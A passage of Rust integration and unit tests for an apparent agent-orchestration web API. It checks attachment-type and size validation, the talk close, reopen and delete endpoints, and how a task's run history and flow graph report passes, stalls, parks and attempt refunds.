                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
            )
            .await;
        assert!(
            (400..500).contains(&svg.status),
            "svg must be refused: {} {}",
            svg.status,
            svg.body
        );
        assert!(svg.body.contains("SVG"), "{}", svg.body);

        let text = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "text/plain")],
                b"just some text",
            )
            .await;
        assert!(
            (400..500).contains(&text.status),
            "an unlisted type must be refused: {} {}",
            text.status,
            text.body
        );

        // The declared type is a real png, but the size check runs before
        // the bytes are even looked at.
        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
        let big = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/png")],
                &oversized,
            )
            .await;
        assert_eq!(
            big.status,
            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
            "{}",
            big.body
        );
    }

    #[tokio::test]
    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-d4e5", "open");

        // A whitelisted `Content-Type`, but bytes that are not actually a
        // png - the declared header alone is never trusted.
        let res = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/png")],
                b"<html>not a picture</html>",
            )
            .await;
        assert!((400..500).contains(&res.status), "{}", res.body);
    }

    #[tokio::test]
    async fn an_unknown_attachment_id_is_a_404() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-e5f6", "open");

        let res = f
            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
            .await;
        assert_eq!(res.status, 404, "{}", res.body);
    }

    #[tokio::test]
    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-f6a7", "open");

        let uploaded = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
                PNG_BYTES,
            )
            .await;
        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();

        let res = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
            )
            .await;
        assert_eq!(res.status, 202, "{}", res.body);
        let queued = res.json();
        let turns = queued["turns"].as_array().expect("turns array");
        assert_eq!(
            turns.len(),
            1,
            "an empty body with an attachment is still a turn: {queued}"
        );
        assert_eq!(turns[0]["who"], "operator");
        assert_eq!(turns[0]["body"], "");
        let atts = turns[0]["attachments"]
            .as_array()
            .expect("attachments array");
        assert_eq!(atts.len(), 1);
        assert_eq!(atts[0]["id"], att_id);
        assert_eq!(atts[0]["mime"], "image/png");

        // Not only in the response: `record` flushes to disk before the
        // agent's own turn is even spawned.
        let on_disk = f.talks().get(&id).expect("get");
        assert_eq!(on_disk.turns[0].attachments.len(), 1);
        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
    }

    #[tokio::test]
    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-a7b8", "open");

        let res = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(&format!(
                    r#"{{"text":"hi","attachments":["{}"]}}"#,
                    "a".repeat(32)
                )),
            )
            .await;
        assert!((400..500).contains(&res.status), "{}", res.body);
        assert!(res.body.contains("unknown attachment"), "{}", res.body);

        let on_disk = f.talks().get(&id).expect("get");
        assert!(
            on_disk.turns.is_empty(),
            "a rejected attachment id must not partially record the turn: {:?}",
            on_disk.turns
        );
    }

    #[tokio::test]
    async fn talk_close_makes_the_talk_refuse_further_turns() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260904-014455-cd34", "open");

        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
        assert_eq!(closed.status, 200, "{}", closed.body);
        assert_eq!(closed.json()["status"], "closed");

        // Idempotent: closing an already-closed talk is not an error.
        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
        assert_eq!(closed_again.status, 200);
        assert_eq!(closed_again.json()["status"], "closed");

        let said = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(r#"{"text":"too late"}"#),
            )
            .await;
        assert_eq!(said.status, 409, "{}", said.body);
    }

    #[tokio::test]
    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
        let (_tmp, _repo, f) = talk_fixture().await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();
        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
        assert_eq!(closed.status, 200, "{}", closed.body);

        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
        assert_eq!(reopened.status, 200, "{}", reopened.body);
        assert_eq!(reopened.json()["status"], "open");

        // Idempotent: reopening an already-open talk is not an error.
        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
        assert_eq!(reopened_again.status, 200);
        assert_eq!(reopened_again.json()["status"], "open");

        let said = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(r#"{"text":"still there?"}"#),
            )
            .await;
        assert_eq!(
            said.status, 202,
            "a reopened talk accepts turns again: {}",
            said.body
        );
    }

    #[tokio::test]
    async fn talk_reopen_on_an_unknown_id_is_404() {
        let f = Fixture::start().await;
        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
        assert_eq!(res.status, 404, "{}", res.body);
    }

    #[tokio::test]
    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260904-014455-ef56", "closed");

        let deleted = f.delete(&format!("/api/talks/{id}")).await;
        assert_eq!(deleted.status, 204, "{}", deleted.body);

        let after = f.get(&format!("/api/talks/{id}")).await;
        assert_eq!(after.status, 404, "{}", after.body);

        let listed = f.get("/api/talks").await.json();
        assert!(
            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
            "a deleted talk must not linger in the list: {listed}"
        );
    }

    #[tokio::test]
    async fn talk_delete_on_an_unknown_id_is_404() {
        let f = Fixture::start().await;
        let res = f.delete("/api/talks/nonexistent-id").await;
        assert_eq!(res.status, 404, "{}", res.body);
    }

    /// A task's page lists every run it ever had, in order, and says what kind
    /// of attempt each was - including a resume, which re-pushes the same run
    /// id, and a run whose record this build cannot read.
    #[tokio::test]
    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
        let f = Fixture::start().await;
        let (a, b, gone) = (
            "20260902-140501-aaaa",
            "20260902-140502-bbbb",
            "20260902-140503-cccc",
        );
        write_run(&f.runs(), a, RunStatus::Stalled);
        let mut review = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
                .to_owned(),
            Config::default(),
        );
        review.id = b.to_owned();
        review.status = RunStatus::Merged;
        write_state(&f.runs(), &review);

        let mut task = Task::new(
            "retry".to_owned(),
            "Do the thing".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.start(a.to_owned());
        task.stall("quota");
        task.start(a.to_owned());
        task.start(b.to_owned());
        task.start(gone.to_owned());
        // This fixture models an older queue file with repeated run entries.
        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
        f.queue().put(&mut task).expect("file the task");

        let res = f.get(&format!("/api/queue/{}", task.id)).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let v = res.json();
        let h = v["history"].as_array().expect("history");
        assert_eq!(h.len(), 4, "{v}");
        assert_eq!(h[0]["kind"], "competition");
        assert_eq!(h[0]["status"], "stalled");
        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
        assert_eq!(h[1]["kind"], "resume", "{v}");
        assert!(
            h[0]["outcome"]
                .as_str()
                .unwrap()
                .contains("unknown. Pass #2"),
            "an earlier pass of a resumed run must not claim the final outcome: {v}"
        );
        assert!(
            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
            "{v}"
        );
        assert!(
            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
            "an unrecorded cause must not be narrated as an operator park: {v}"
        );
        assert_eq!(h[2]["kind"], "review");
        assert!(
            h[2]["description"]
                .as_str()
                .unwrap()
                .contains("magi/aaaa/A")
        );
        assert_eq!(h[2]["status"], "merged");
        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
        assert_eq!(v["runs_unreadable"], 1);
        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
        assert_eq!(nodes[4]["note"], "unreadable");
        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
        assert_eq!(v["instruction"], "Do the thing");
        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));

        // The run's own page links back to the task.
        let run = f.get(&format!("/api/runs/{a}")).await.json();
        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");

        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
    }

    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
        let mut s = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Do it".to_owned(),
            Config::default(),
        );
        s.status = status;
        edit(&mut s);
        s
    }

    fn flow_task(runs: &[&str]) -> Task {
        let mut t = Task::new(
            "t".to_owned(),
            "Do it".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        for r in runs {
            t.start((*r).to_owned());
        }
        // Synthetic flows without RunPass records model legacy queue data.
        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
        t
    }

    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
        let h = task_history(task, |id| {
            states
                .iter()
                .find(|(i, _)| *i == id)
                .and_then(|(_, s)| s.clone())
        });
        task_flow(task, &h, 5, None)
    }

    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
        crate::queue::FollowUp {
            run: "20260901-000000-aaaa".to_owned(),
            origin_task: origin_task.map(str::to_owned),
            pr: "https://example.com/o/r/pull/1".to_owned(),
            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
                .map(str::to_owned)
                .to_vec(),
            generation: 1,
        }
    }

    fn parent_task() -> Task {
        let mut p = flow_task(&[]);
        p.title = "Parent title".to_owned();
        p.status = TaskStatus::Done;
        p
    }

    #[test]
    fn flow_opens_with_the_parent_task_of_a_followup() {
        let p = parent_task();
        let pid = p.id.clone();
        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
        let n = &f.nodes[0];
        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
        assert_eq!(
            n.label,
            format!("Follow-up of {}", crate::queue::short(&pid))
        );
        assert_eq!(n.detail.as_deref(), Some("Parent title"));
        assert_eq!(n.status, Some("done"));
        assert_eq!(n.status_of, "task");
        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
        assert_eq!(f.nodes[1].key, "start");
        assert_eq!(f.edges[0].from, "origin");
        assert_eq!(
            f.edges[0].label,
            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
        );
    }

    #[test]
    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
        let o = followup_origin(
            &fu(Some("gone")),
            |_| None,
            |_| {
                Some(RunState::new(
                    std::path::PathBuf::from("."),
                    "main".to_owned(),
                    "0".to_owned(),
                    "t".to_owned(),
                    crate::config::Config::default(),
                ))
            },
        );
        assert!(o.parent.is_none());
        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
        let n = &f.nodes[0];
        assert_eq!(n.status_of, "run");
        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
    }

    #[test]
    fn flow_followup_with_nothing_readable_has_no_link() {
        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
        let n = &f.nodes[0];
        assert_eq!(n.href, None);
        assert_eq!(n.note, Some("unreadable"));
        assert!(!n.readable);
    }

    #[test]
    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
        let o = followup_origin(&fu(None), |_| None, |_| None);
        let mut t = flow_task(&[]);
        t.origin_chat = Some("c1".to_owned());
        let f = task_flow(&t, &[], 5, Some(&o));
        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
        t.source = Source::Agent {
            run: "c1".to_owned(),
            node: crate::queue::CHAT_NODE.to_owned(),
        };
        let f = task_flow(&t, &[], 5, Some(&o));
        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
        assert_eq!(
            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
            ("chat", "origin")
        );
    }

    #[test]
    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
        let mut p = parent_task();
        p.id = "a b/c".to_owned();
        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
    }

    #[test]
    fn flow_opens_with_the_chat_that_queued_the_task() {
        let mut t = flow_task(&[]);
        t.source = Source::Agent {
            run: "a b/c".to_owned(),
            node: crate::queue::CHAT_NODE.to_owned(),
        };
        let f = flow_for(&t, &[]);
        assert_eq!(f.nodes[0].key, "chat");
        assert_eq!(f.nodes[0].kind, "chat");
        assert_eq!(
            f.nodes[0].label,
            format!("Chat {}", crate::queue::short("a b/c"))
        );
        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
        assert_eq!(f.nodes[1].key, "start");
        assert_eq!(
            f.edges[0],
            FlowEdge {
                from: "chat".to_owned(),
                to: "start".to_owned(),
                label: "queued from chat".to_owned(),
                attempt: AttemptCost::None,
            }
        );
    }

    #[test]
    fn flow_has_no_chat_box_for_other_sources() {
        for source in [
            Source::Human,
            Source::Issue {
                number: 3,
                repo: "o/r".to_owned(),
            },
            Source::Agent {
                run: "20260904-014455-ab12".to_owned(),
                node: "implement".to_owned(),
            },
        ] {
            let mut t = flow_task(&[]);
            t.source = source;
            let f = flow_for(&t, &[]);
            assert_eq!(f.nodes[0].key, "start");
            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
            assert!(f.edges.iter().all(|e| e.from != "chat"));
        }
    }

    const FA: &str = "20260902-140501-aaaa";
    const FB: &str = "20260902-140502-bbbb";

    #[test]
    fn flow_follows_blocked_retry_merged_to_done() {
        let mut t = flow_task(&[FA, FB]);
        t.status = TaskStatus::Done;
        let f = flow_for(
            &t,
            &[
                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
            ],
        );
        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
        assert_eq!(f.edges.len(), 3);
        assert_eq!(f.edges[0].label, "claimed");
        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
        assert_eq!(f.edges[2].label, "merged \u{2192} done");
        assert_eq!(
            f.nodes[2].href.as_deref(),
            Some("#/runs/20260902-140502-bbbb")
        );
        assert!(f.nodes[2].decided);
    }

    #[test]
    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
        let quota = || {
            flow_run(RunStatus::Stalled, |s| {
                s.quota.push(crate::run::QuotaLoss {
                    seat: "judge-1".to_owned(),
                    node: "judge".to_owned(),
                    at: Timestamp::now(),
                    reset: None,
                })
            })
        };
        let mut t = flow_task(&[FA, FA]);
        t.status = TaskStatus::Queued;
        let f = flow_for(&t, &[(FA, Some(quota()))]);
        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
        assert_eq!(f.nodes[1].note, Some("interrupted"));
        assert_eq!(
            f.nodes[1].status, None,
            "no outcome copied onto an earlier pass"
        );
        assert_eq!(
            f.edges[1].attempt,
            AttemptCost::Unknown,
            "a resume does not prove the earlier pass was refunded"
        );
        assert!(f.edges[1].label.contains("resume the same run"));
        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
        assert_eq!(
            f.edges[2].label,
            "stalled after a resume, refund unknown \u{2192} queued"
        );
        assert!(!f.nodes[2].decided, "a stall is not a decision");
        assert_eq!(f.nodes[2].note, Some("no verdict"));
    }

    #[test]
    fn flow_single_pass_quota_stall_is_refunded() {
        let t = flow_task(&[FA]);
        let f = flow_for(
            &t,
            &[(
                FA,
                Some(flow_run(RunStatus::Stalled, |s| {
                    s.quota.push(crate::run::QuotaLoss {
                        seat: "judge-1".to_owned(),
                        node: "judge".to_owned(),
                        at: Timestamp::now(),
                        reset: None,
                    })
                })),
            )],
        );
        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
    }

    #[test]
    fn flow_parked_refunds_and_stall_without_quota_spends() {
        let mut t = flow_task(&[FA]);
        t.status = TaskStatus::Queued;
        let f = flow_for(
            &t,
            &[(
                FA,
                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
            )],
        );
        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
        assert!(!f.nodes[1].decided);
    }

    #[test]
    fn flow_keeps_an_unreadable_run_as_its_own_node() {
        let t = flow_task(&[FA, FB]);
        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
        assert_eq!(f.nodes[1].note, Some("unreadable"));
        assert!(!f.nodes[1].readable);
        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
    }

    #[test]
    fn flow_names_the_branch_of_a_review_only_run() {
        let t = flow_task(&[FA]);
        let f = flow_for(
            &t,
            &[(
                FA,
                Some(flow_run(RunStatus::Merged, |s| {
                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
                })),
            )],
        );
        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
        assert_eq!(
            f.nodes[1].detail.as_deref(),
            Some("review-only run of branch magi/x/A")
        );
    }

    #[test]
    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
        let mut t = flow_task(&[FA]);
        t.status = TaskStatus::Held;
        let pr = crate::run::PrRecord {
            url: "https://example.test/pr/1".to_owned(),
            number: 1,
            state: "open".to_owned(),
            checks: "green".to_owned(),
            round: 0,
            rounds: 3,
            red_at_merge: Vec::new(),
        };
        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
        t.status = TaskStatus::Done;
        let f = flow_for(&t, &[(FA, Some(blocked))]);
        assert_eq!(f.edges[1].label, "closed by hand: task is done");
    }

    #[test]
    fn flow_with_no_runs_goes_from_queued_to_queued() {
        let t = flow_task(&[]);
        let f = flow_for(&t, &[]);
        assert_eq!(f.nodes.len(), 2);
        assert_eq!(f.edges.len(), 1);
        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
        assert_eq!(f.edges[0].attempt, AttemptCost::None);
    }

    /// A run parked mid-flight keeps a non-terminal status; the page must
    /// still say why it stopped and that the attempt came back.
    #[test]
    fn a_parked_non_terminal_run_is_explained_as_parked() {
        let mut s = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Do it".to_owned(),
            Config::default(),
        );
        s.status = RunStatus::Implementing;
        s.parked = true;
        let task = Task::new(
            "t".to_owned(),
            "Do it".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        let v = task_run_view(
            "20260902-140501-aaaa",
            Some(&s),
            RunSlot {
                n: 1,
                resumed: false,
                resumed_later: None,
                prior: None,
                last: true,
                ..RunSlot::default()
            },
            &task,
        );
        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
    }

    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
        let mut s = flow_run(RunStatus::Implementing, edit);
        s.parked = false;
        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
        task_run_view(
            "20260902-140501-aaaa",
            Some(&s),
            RunSlot {
                n: 1,
                resumed: false,
                resumed_later: Some(2),
                prior: None,
                last: false,
                ..RunSlot::default()
            },
            &task,
        )
    }

    #[test]
    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
        let v = earlier_pass_view(|_| {});
        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
        assert_eq!(v.exit, RunExit::Interrupted);
        assert_eq!(v.attempt, AttemptCost::Unknown);
    }

    #[test]
    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
        let v = earlier_pass_view(|s| {
            s.quota.push(crate::run::QuotaLoss {
                seat: "judge-1".to_owned(),
                node: "judge".to_owned(),
                at: Timestamp::now(),
                reset: None,
            });
        });
        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
        assert_eq!(v.attempt, AttemptCost::Unknown);
    }

    #[test]
    fn the_current_pass_states_its_recorded_cause_and_cost() {
        let slot = || RunSlot {
            n: 1,
            resumed: false,
            resumed_later: None,
            prior: None,
            last: true,
            ..RunSlot::default()
        };
        let task = flow_task(&["20260902-140501-aaaa"]);
        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
        assert_eq!(
            (v.exit, v.attempt),
            (RunExit::Parked, AttemptCost::Refunded)
        );
        let spent = flow_run(RunStatus::Blocked, |_| {});
        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
        assert_eq!(v.attempt, AttemptCost::Spent);
        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
    }

    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
        crate::run::RunPass {
            index,
            started_at: Timestamp::now(),
            resumed: index > 0,
            ended_at: end.as_ref().map(|_| Timestamp::now()),
            end,
            task_entry: true,
        }
    }

    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
        Some(crate::run::PassEnd::Parked { cause })
    }

    fn upgrade_cause() -> crate::run::ParkCause {
        crate::run::ParkCause::Upgrade {
            from: "0.121.0".to_owned(),
            to: Some("0.121.1".to_owned()),
        }
    }

    fn settled_pass(
        run: &str,
        index: usize,
        cost: crate::queue::PassCost,
    ) -> crate::queue::TaskPass {
        crate::queue::TaskPass {
            run: run.to_owned(),
            pass_index: index,
            cost,
            attempts_after: 1,
            settled_at: Timestamp::now(),
            parked: None,
        }
    }

    const RUN_X: &str = "20261011-223708-4334";

    #[test]
    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
        use crate::queue::PassCost;
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, parked(upgrade_cause())),
                recorded_pass(1, None),
            ];
        });
        let mut task = flow_task(&[RUN_X, RUN_X]);
        task.attempts = 1;
        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
        let h = task_history(&task, |_| Some(run.clone()));
        assert_eq!(h.len(), 2);
        assert_eq!(h[0].kind, "competition");
        assert_eq!(h[1].kind, "resume");
        assert_eq!(
            (h[0].exit, h[0].attempt),
            (RunExit::Parked, AttemptCost::Refunded)
        );
        assert!(
            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
            "{}",
            h[0].outcome
        );
        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
        assert!(
            h[0].outcome.contains("pass #2 resumed the same run"),
            "{}",
            h[0].outcome
        );
        assert!(
            h[0].outcome.contains("pass 1 of 2 over run"),
            "{}",
            h[0].outcome
        );
        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
        assert_eq!(
            h[0].exit_label,
            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
        );
        let f = task_flow(&task, &h, 2, None);
        // Two passes of one run, one of two attempts consumed.
        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
        assert!(
            f.edges[1].label.contains("upgrade 0.121.0"),
            "{}",
            f.edges[1].label
        );
        assert!(
            f.edges[1].label.contains("resume the same run"),
            "{}",
            f.edges[1].label
        );
        assert_eq!(f.nodes[1].note, Some("parked"));
    }

    #[test]
    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
        let mut a = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, parked(upgrade_cause())),
                recorded_pass(1, None),
            ];
        });
        let mut b = flow_run(RunStatus::Failed, |s| {
            s.passes = vec![recorded_pass(0, None)];
        });
        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
        let mut task = flow_task(&[]);
        task.start("a".into());
        task.start("b".into());
        task.start("a".into());
        assert_eq!(task.runs, ["b", "a"]);
        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
        let h = task_history(&task, |id| {
            Some(if id == "a" { a.clone() } else { b.clone() })
        });
        assert_eq!(
            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
            ["a", "b", "a"]
        );
        assert_eq!(h[0].attempt, AttemptCost::Refunded);
        assert!(h[0].outcome.contains("upgrade"));
        assert_eq!(h[2].kind, "resume");
        assert!(h[2].pass.is_some());
        // The old repeated-id format must show the same recorded passes.
        task.runs = vec!["a".into(), "b".into(), "a".into()];
        let old = task_history(&task, |id| {
            Some(if id == "a" { a.clone() } else { b.clone() })
        });
        assert_eq!(
            old.iter()
                .map(|v| (&v.id, &v.kind, v.attempt))
                .collect::<Vec<_>>(),
            h.iter()
                .map(|v| (&v.id, &v.kind, v.attempt))
                .collect::<Vec<_>>()
        );
    }

    #[test]
    fn an_upgrade_whose_target_was_not_known_says_so() {
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(
                    0,
                    parked(crate::run::ParkCause::Upgrade {
                        from: "0.121.0".to_owned(),
                        to: None,
                    }),
                ),
                recorded_pass(1, None),
            ];
        });
        let task = flow_task(&[RUN_X, RUN_X]);
        let h = task_history(&task, |_| Some(run.clone()));
        assert!(
            h[0].outcome.contains("upgrade from 0.121.0"),
            "{}",
            h[0].outcome
        );
        // No settle record: the refund is not claimed.
        assert_eq!(h[0].attempt, AttemptCost::Unknown);
    }

    #[test]
    fn each_pass_keeps_its_own_cause_across_several_resumes() {
        use crate::queue::PassCost;
        use crate::run::ParkCause;
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, parked(upgrade_cause())),
                recorded_pass(
                    1,
                    parked(ParkCause::Interrupt {
                        reason: "task a1b2 asked to run first".to_owned(),
                    }),
                ),
                recorded_pass(2, parked(ParkCause::Operator)),
                recorded_pass(3, None),
            ];
        });
        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
        task.attempts = 1;
        task.passes = (0..3)
            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
            .collect();
        let h = task_history(&task, |_| Some(run.clone()));
        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
        assert!(
            h[1].outcome.contains("task a1b2 asked to run first"),
            "{}",
            h[1].outcome
        );
        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
        assert!(
            h[2].outcome.contains("operator asked the loop to park"),
            "{}",
            h[2].outcome
        );
        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
        let f = task_flow(&task, &h, 2, None);
        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
    }

    #[test]
    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
                recorded_pass(1, None),
            ];
        });
        let task = flow_task(&[RUN_X, RUN_X]);
        let h = task_history(&task, |_| Some(run.clone()));
        assert_eq!(h[0].exit, RunExit::Interrupted);
        assert_eq!(h[0].attempt, AttemptCost::Unknown);
        assert!(
            h[0].outcome.contains("without recording why"),
            "{}",
            h[0].outcome
        );
        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
    }

    #[test]
    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
        use crate::queue::PassCost;
        // Three entries, but the run only began keeping passes at the last
        // two: the first is legacy and must not be given a cause.
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, parked(upgrade_cause())),
                recorded_pass(1, None),
            ];
        });
        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
        let h = task_history(&task, |_| Some(run.clone()));
